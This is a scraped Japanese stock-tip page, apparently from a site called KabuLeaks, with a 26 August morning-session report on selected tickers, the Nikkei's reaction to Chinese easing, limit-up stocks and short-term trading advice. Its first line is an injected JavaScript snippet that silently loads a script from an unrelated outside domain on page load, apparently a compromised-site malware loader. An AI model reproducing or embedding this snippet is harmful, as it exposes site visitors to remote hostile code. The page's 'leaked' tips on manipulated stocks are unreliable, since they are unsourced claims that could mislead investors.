;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【8/26 前引け】|【KabuLeaks 〜株リークス〜】
仕手株

仕手株・ファンド介入リーク情報【8/26 前引け】

【8914】エリアリンク 139円 +5 (+3.73%)

【1803】清水建設 1,087円 +7 (+0.64%)

【8306】三菱UFJフィナンシャル・グループ 752.9円 +8.6 (+1.15%)

前場の日経平均株価は70円高の7日ぶり反発。前日に中国人民銀行が追加金融緩和を発表したことを好感して幅広い銘柄が買われる展開。ただ、不安定な上海株の動向は継続。一巡後は一時下げに転じるなど指数は依然不安定な値動きとなってり、引き続き油断はできない状況だ。

個別では、UBIC MEDICALが日本医療研究開発機構の公募事業委託先に決定した【2158】UBIC。投資有価証券売却益4億円を計上の【6777】SANTECがストップ高まで買われたほか、前日に福島県の補助対象事業に採択されストップ高の【5162】朝日ラバーが連日のストップ高に。また、経営再建進捗を好感されている【8515】アイフルが3連騰となっているほか、BBタワーとの合弁会社が新ファンド設立を好感された【8462】フューチャーベンチャーキャピタル。9月1日付で東証2部へ市場変更の【8892】日本エスコンなども人気化している。

後場は中国が依然不安定で方向感の掴みづらい相場展開が継続する可能性が高く、中国の明確な底打ちがしっかり確認できるまでは短期トレード中心。急落局面でのリバ狙い→噴いたら売りを徹底が無難か。